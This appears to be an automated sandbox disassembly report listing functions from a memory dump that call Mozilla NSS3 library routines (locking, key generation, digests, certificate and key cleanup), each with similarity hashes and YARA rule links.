calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CD113BC,?,?,?,6CD11193), ref: 6CD11C6B
PR_NewLock.NSS3(?,6CD11193), ref: 6CD11C7E

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_NewCondVar.NSS3(00000000,?,6CD11193), ref: 6CD11C91

Part of subcall function 6CBEBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CBF21BC), ref: 6CBEBB8C

PR_NewCondVar.NSS3(00000000,?,?,6CD11193), ref: 6CD11CA7

Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBEBBEB
Part of subcall function 6CBEBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CBEBBFB
Part of subcall function 6CBEBB80: GetLastError.KERNEL32 ref: 6CBEBC03
Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CBEBC19
Part of subcall function 6CBEBB80: free.MOZGLUE(00000000), ref: 6CBEBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CD11193), ref: 6CD11CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CD11193), ref: 6CD11CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CD11193), ref: 6CD11CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CD11193), ref: 6CD11D1A

Part of subcall function 6CCC9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBF1A48), ref: 6CCC9BB3
Part of subcall function 6CCC9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF1A48), ref: 6CCC9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CD11193), ref: 6CD11D3D

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CD11193), ref: 6CD11D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CD11193), ref: 6CD11D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CD11193), ref: 6CD11D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CD11193), ref: 6CD11D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CD11193), ref: 6CD11D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CD11193), ref: 6CD11D93
PR_DestroyLock.NSS3(00000000,?,?,6CD11193), ref: 6CD11D9F
free.MOZGLUE(00000000,?,6CD11193), ref: 6CD11DA8

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: dc3e7db4f88432b237116d4ab1e42998bb2983a7480321ced08603736ccca1db
Instruction ID: 22b5eeaaf8a6de73b5136ec498213a6e2d677f3d710298bf6e52b6362f42b629
Opcode Fuzzy Hash: dc3e7db4f88432b237116d4ab1e42998bb2983a7480321ced08603736ccca1db
Instruction Fuzzy Hash: 3331E6F5E007419FEB209F65AC41A6B7AF8AF1564CF044438E94A87F11FB31E418CBA2

Function 6CC65CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CC65EC0,00000000,?,?), ref: 6CC65CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CC65CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CC65CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC65D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CC65EC0,00000000,?,?), ref: 6CC65D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CC65D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CC65D80

Strings

dbm:, xrefs: 6CC65D03, 6CC65D60
extern:, xrefs: 6CC65CEA, 6CC65D4B
multiaccess:, xrefs: 6CC65CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6CC65D1A
sql:, xrefs: 6CC65CD1, 6CC65D36

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: acfe5ff4ff71fa1cbd30b1d7c8f0420fe5a2853fb4a5969ae2cc418e29562fff
Instruction ID: a8b4cc7367d3f5a438aec8144c4d850c6b01769f8884b5d2b4286246aae25d28
Opcode Fuzzy Hash: acfe5ff4ff71fa1cbd30b1d7c8f0420fe5a2853fb4a5969ae2cc418e29562fff
Instruction Fuzzy Hash: 1B31E0E0B423416BF7012B26CF88B66376CAF0624DF350460EE95A6EC3FA61D519C295

Function 6CC66CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD31DE0,?), ref: 6CC66CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC66D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CC66D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CC66D82
DER_GetInteger_Util.NSS3(?), ref: 6CC66DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC66DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CC66E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CC66F19
PK11_DigestBegin.NSS3(00000000), ref: 6CC66F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CC66F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC67011
PK11_FreeSymKey.NSS3(00000000), ref: 6CC67033
free.MOZGLUE(?), ref: 6CC6703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CC67060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC67087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CC670AF

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 5ca550393f682588f557a7628b99fc190fbd9d4f06f08b80bce8ebf17da079cc
Instruction ID: 32d6bfcb731e65c83f02efd14ac0fa1bd6286b0b728012edbbb8da68e799ae7b
Opcode Fuzzy Hash: 5ca550393f682588f557a7628b99fc190fbd9d4f06f08b80bce8ebf17da079cc
Instruction Fuzzy Hash: 1AA118719086009BEB008F26CED5B6A32E4EB8130CF248939E959DBF81F775D859C793

Function 6CC2AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF39
PR_Unlock.NSS3(?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2AF69
TlsGetValue.KERNEL32 ref: 6CC2B06B
EnterCriticalSection.KERNEL32(?), ref: 6CC2B083
PR_Unlock.NSS3(?), ref: 6CC2B0A4
TlsGetValue.KERNEL32 ref: 6CC2B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CC2B0D9
PR_Unlock.NSS3 ref: 6CC2B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2B182

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC2B177

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CC0AB95,00000000,?,00000000,00000000,00000000), ref: 6CC2B1C2

Part of subcall function 6CC51560: TlsGetValue.KERNEL32(00000000,?,6CC20844,?), ref: 6CC5157A
Part of subcall function 6CC51560: EnterCriticalSection.KERNEL32(?,?,?,6CC20844,?), ref: 6CC5158F
Part of subcall function 6CC51560: PR_Unlock.NSS3(?,?,?,?,6CC20844,?), ref: 6CC515B2

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: d018a9889a4fe2fab3256033757b609ffb6e7e045b2f0c3b4fd64946bd517dd8
Instruction ID: 7ffac6682d207fc19838d3f0784c791c54727eb8a227805ec05284b4f28ded52
Opcode Fuzzy Hash: d018a9889a4fe2fab3256033757b609ffb6e7e045b2f0c3b4fd64946bd517dd8
Instruction Fuzzy Hash: 21A1CFB1D002069FEF009FA4DC41BEAB7B4BF48308F144125E909A7B51F735E999CBA1

Function 6CC7AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7ADB1

Part of subcall function 6CC5BE30: SECOID_FindOID_Util.NSS3(6CC1311B,00000000,?,6CC1311B,?), ref: 6CC5BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC7ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC7AE08

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC7AE25
PL_FreeArenaPool.NSS3 ref: 6CC7AE63
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC7AE4D

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7AE93
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC7AECC
PL_FreeArenaPool.NSS3 ref: 6CC7AEDE
PL_FinishArenaPool.NSS3 ref: 6CC7AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7AEF5
PL_FinishArenaPool.NSS3 ref: 6CC7AF16

Strings

security, xrefs: 6CC7ADEE

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: cd219f68d5ec771b1fd89591f48795a2d1f90402fe0c157e583ec7d1e0921573
Instruction ID: a86198d2f23bb4753bd6b1a5075f177df7b055fa3347a709afbedc74f98ab37d
Opcode Fuzzy Hash: cd219f68d5ec771b1fd89591f48795a2d1f90402fe0c157e583ec7d1e0921573
Instruction Fuzzy Hash: F24107B1904200A7FB319B2A9C85BBB32A8EFC231DF541525E91496F81FB35D528C6F3

Function 6CC95CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CC92BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92BF0
Part of subcall function 6CC92BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92C07
Part of subcall function 6CC92BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92C1E
Part of subcall function 6CC92BE0: free.MOZGLUE(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92C4A

free.MOZGLUE(?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D0F
free.MOZGLUE(?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D4E
free.MOZGLUE(?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D62
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D85
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D99
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC95E3E
free.MOZGLUE(?,?,?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC95E47
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC95E78
free.MOZGLUE(?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95F4B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: a290873316483a49c43c20cd8694f42a29029a41e100c33af0e70863ef7a3160
Instruction ID: 8cb38d7dddc7f1687adbf434bc30c06f41db6e078bf2817a30786d2c4b10bdff
Opcode Fuzzy Hash: a290873316483a49c43c20cd8694f42a29029a41e100c33af0e70863ef7a3160
Instruction Fuzzy Hash: B57190B9A00B019FD700DF24D884A93B7B5BF89309F148669E85E87B11EB32F955CB91

Function 6CC18DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CC18E22
EnterCriticalSection.KERNEL32(?), ref: 6CC18E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CC18E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC18E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC18EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CC18EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC18EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18F00
free.MOZGLUE(?), ref: 6CC18F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CC18F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18F5B
PR_Unlock.NSS3(?), ref: 6CC18F72
PR_Unlock.NSS3(?), ref: 6CC18F82

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 50b13367508cc2ac083c058c8799b839f6bba98a54aee7f0edc47c43200ffb3f
Instruction ID: f5de9f41dd1f5a6049a432333cd8403887abfc0528f2305bc30f7add7d10e3bb
Opcode Fuzzy Hash: 50b13367508cc2ac083c058c8799b839f6bba98a54aee7f0edc47c43200ffb3f
Instruction Fuzzy Hash: AC51F2B6D082019FEB009F6ADC84D6AB7B9BF45318B164129EC089BF50F731ED4587E1

Function 6CC3CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CC3CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC3CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CC3CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CC3CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CC3CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC3CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CC3CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CC3CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CC3CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CC3CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CC3CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CC3CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CC3CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CC3D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CC3D021

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: e8003aa8d362681036ed031abcc946982afd18918670553ea566b80def8e236e
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: BB316571B6292027EF0E105A6D71BDE148A4B6670FF841038F94EE67C0F6C99A3702ED

Function 6CD10FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CD11000

Part of subcall function 6CCC9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBF1A48), ref: 6CCC9BB3
Part of subcall function 6CCC9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF1A48), ref: 6CCC9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD11016

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_Unlock.NSS3(?), ref: 6CD11021

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD11046
PR_Unlock.NSS3(?), ref: 6CD1106B
PR_Lock.NSS3 ref: 6CD11079
PR_Unlock.NSS3 ref: 6CD11096
free.MOZGLUE(?), ref: 6CD110A7
free.MOZGLUE(?), ref: 6CD110B4
PR_DestroyCondVar.NSS3(?), ref: 6CD110BF
PR_DestroyCondVar.NSS3(?), ref: 6CD110CA
PR_DestroyCondVar.NSS3(?), ref: 6CD110D5
PR_DestroyCondVar.NSS3(?), ref: 6CD110E0
PR_DestroyLock.NSS3(?), ref: 6CD110EB
free.MOZGLUE(?), ref: 6CD11105

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 258330fed9b61d1e5065678be9b65ac6eb576f95757e677750bc04c66a7a7c39
Instruction ID: 77938d698056820367633c10bac1a3ea4ac94a6bbfc6a23a6400591537bb5686
Opcode Fuzzy Hash: 258330fed9b61d1e5065678be9b65ac6eb576f95757e677750bc04c66a7a7c39
Instruction Fuzzy Hash: E331ACB9D00442AFE701AF50EC41A59BB76BF11358B084134E80903F61E732F878DBD2

Function 6CC25E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC25ECF
EnterCriticalSection.KERNEL32(?), ref: 6CC25EE3
PR_Unlock.NSS3(?), ref: 6CC25F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CC25FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CC261F4

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
